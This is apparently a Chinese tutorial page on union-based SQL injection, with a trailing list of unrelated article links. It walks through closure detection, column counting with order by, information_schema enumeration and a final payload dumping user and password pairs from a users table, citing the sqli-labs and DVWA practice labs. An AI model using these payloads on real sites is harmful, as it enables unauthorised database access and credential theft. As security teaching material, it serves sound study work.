当前位置: 首页 > news >正文

sql注入之union联合注入

一、Union注入

联合查询注入是联合两个表进行注入攻击,使用关键词 union select 对两个表进行联合查询。两个表的字段数要相同,不然会出现报错。列数相同

union 特性是显示两张表 我们就可以吧第一个参数变为------负--的 或者不存在的值 就行了 显示就是以第二张表为主

二、判断闭合方式

1、如果都报错,则为整形闭合。

2、如果单引号报错,双引号不报错。然后尝试?id=1 –– 无报错则单引号闭合。报错则单引号加括号。

3、如果单引号不报错,双引号报错。然后尝试?id=1"––无报错则双引号闭合。报错则双引号加括号。

4、判断真值的方法是指通过构造一个条件语句,利用应用程序返回的结果来判断闭合方式

如果是没有报错回显的情况,则可以用判断真值的方法来判断闭合方式。

例如:输入index.php?id=1',页面显示错误

再输入index.php?id=1' --+,页面显示正确
sqli labs 是双引号闭合

dvwa 是单引号闭合

三、以MySQL注入为例

1、在参数后添加引号尝试报错,并用and 1=1#and 1=2#测试报错

?id=1' and 1=1#		页面返回正常
?id=1' and 1=2#		页面返回不正常

2、利用order by猜测字段

使用语句 order by 确定当前表的字符数。
order by 1 如果页面返回正常,字段数不少于1。
order by 2 如果页面返回正常,字段数不少于2。
如此类推,直到页面出错,正确的字段数是出错数字减1。
公式 order by n-1
1' order by 1--空格 正常
1' order by 2--空格 正常
1' order by 3--空格 出错

3、利用union联合查询

-1' union select 1,2--+		--看哪个字段可以显示信息,利用它获取数据库信息
--修改id为一个不存在的id,强行报错
--因为代码默认只返回第一条结果,不会返回 union select 的结果

4、获取数据库信息

-1' union select 1,version()--+

user()		--获取数据库用户名
database()	--获取数据库名
version()	--获取数据库版本信息


--其它信息
@@datadir				--数据库路径
@@version_compile_os	--操作系统版本

5、查询数据库的表

id=-1%27 union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)--+


--table_schema=数据库名16进制或者用单引号括起来
--改变limit 0,1中前一个参数,得到所有表

6、查询数据库字段

同样的查询字段也可以通过内置库 information_schema 里的 COLUMNS,这个表记录所有表的字段。通过 COLUMNS 查询 users 表的字段。

获取 users 表第一个字段名:
-1' union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 1)--+


获取 users 表第二个字段名:
-1' union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 1,1)--+

获取 users 表第三个字段名:
-1' union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 2,1)--+

7、脱库,获取数据

通过以上的黑盒查询,获取库名、表名、字段,那么就可以查询某个表的内容。
-1' union select 1,(select group_concat(user,0x3a,password) from users limit 1)--+
http://www.dtcms.com/a/7967.html

相关文章:

  • 留学生怎么合理使用ChatGPT ?还有哪些同类工具可以使用?
  • 算法练习02——双指针
  • react useCallback(记忆函数)用法
  • 互联网加竞赛 基于深度学习的动物识别 - 卷积神经网络 机器视觉 图像识别
  • 【SVN在Linux下的常用指令】
  • LeetCode 每日一题Day 54 - 61
  • C语言实现12种排序算法
  • 记录element-plus树型表格的bug
  • MySQL常用命令集
  • linux ln命令-linux软链接、硬链接-linux软、硬链接的区别(一):硬链接
  • 【ArcGIS微课1000例】0096:dem三维块状表达(层次地形模型)
  • Java实现学生信息管理系统:从Excel中提取数据的实用方法
  • STM32MP135开发板助力电力行业,IEC61850协议移植笔记
  • 关于使用js的循环语句打印一个金字塔的三种方案
  • 百川终入海 ,一站式海量数据迁移工具 X2Doris 正式发布
  • Oracle RMAN全备脚本(正式测试可行)
  • 【Redis】Redis集群方案应该怎么做 都有哪些方案
  • 安装配置hive
  • 电视盒子哪个好?博主分享口碑网络电视盒子推荐
  • 软件工程知识梳理0-概述
  • Redis核心技术与实战【学习笔记】 - 6.Redis 的统计操作处理
  • C# wpf 字体图标预览,html字符与unicode转换
  • 代码随想录训练营第三十八天打卡| 509. 斐波那契数 70. 爬楼梯 746. 使用最小花费爬楼梯
  • React + react-device-detect 实现设备特定的渲染
  • Python——将Pyaudio的frame音频数据转换成wave格式
  • SpringBoot使用Rabbit详解含完整代码
  • LVS负载均衡对udp流量进行参数调整一例
  • 点击侧边栏菜单跳转到main 页面
  • iMazing 3中文版双平台版本同步,iOS 设备在 Windows 上也能自动备份了
  • C# 使用 MailKit 接收邮件(附demo)